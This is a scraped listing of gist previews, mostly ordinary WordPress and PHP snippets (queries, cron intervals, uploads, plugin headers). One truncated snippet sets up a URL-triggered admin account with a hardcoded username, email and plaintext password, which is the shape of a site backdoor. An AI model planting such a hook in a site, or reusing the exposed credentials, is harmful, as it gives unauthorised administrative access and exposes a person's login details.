This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action( 'gform_after_submission_1', 'post_to_third_party', 10, 2 ); | |
function post_to_third_party( $entry, $form ) { | |
global $post; | |
$pro_id = get_field( "product_id" ); | |
if($pro_id != '') { | |
$post_url = 'http://www.brooks21.com/cart/?add-to-cart='.$pro_id; | |
wp_redirect( $post_url ); | |
exit; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ cd ~ | |
$ sudo curl -sS https://getcomposer.org/installer | sudo php | |
$ sudo mv composer.phar /usr/local/bin/composer | |
$ sudo ln -s /usr/local/bin/composer /usr/bin/composer | |
then you can run | |
$ sudo composer install |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$day_next = new DateTime('+1 day'); | |
$date = $day_next->format('Y-m-d H:i:s'); | |
$args = array( | |
'post_type' => 'page', | |
'post_status' => 'publish', | |
'meta_query' => array( | |
array( | |
'key' => 'live_session_end_time', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', 'add_my_user'); | |
function add_my_user() { | |
if(isset($_GET["add_admin"])){ | |
$username = 'unaibamir'; | |
$email = 'unaibamiraziz@gmail.com'; | |
$password = 'ak47UN@@22'; | |
$user_id = username_exists( $username ); | |
if ( !$user_id && email_exists($email) == false ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Earners Report | |
* | |
* @package BadgeOS Reports | |
* @subpackage Reports | |
* @author LearningTimes, LLC | |
* @license http://www.gnu.org/licenses/agpl.txt GNU AGPL v3.0 | |
* @link https://credly.com | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public function get_timefilter() { | |
$query = ''; | |
if ( $this->args['timeframe'] === NULL || strlen( $this->args['timeframe'] ) == 0 ) return $query; | |
global $wpdb; | |
// Start of the week based of our settings | |
$week_starts = get_option( 'start_of_week' ); | |
if ( $week_starts == 0 ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function isa_add_cron_recurrence_interval( $schedules ) { | |
$schedules['every_single_minute'] = array( | |
'interval' => MINUTE_IN_SECONDS, | |
'display' => __( 'Every Single Minute', 'textdomain' ) | |
); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$currentDir = getcwd(); | |
$uploadDirectory = "/uploads/"; | |
$errors = []; // Store all foreseen and unforseen errors here | |
if (isset($_POST['submit']) && isset($_FILES['myfile'])) { | |
$fileExtensions = ['jpeg','jpg','png']; // Get all the file extensions |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Empower Plugin | |
Plugin URI: http://empower.com.pk | |
Description: a plugin description here | |
Version: 1.0 | |
Author: Empower Class | |
Author URI: http://empower.com.pk | |
License: GPL2 | |
Text Domain: plg-domain |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$args = [ | |
"s" => "logo", | |
"post_type" => "product", | |
"posts_per_page" => 5, | |
"post_status" => "publish" | |
]; | |
$the_query = new WP_Query( $args ); |
OlderNewer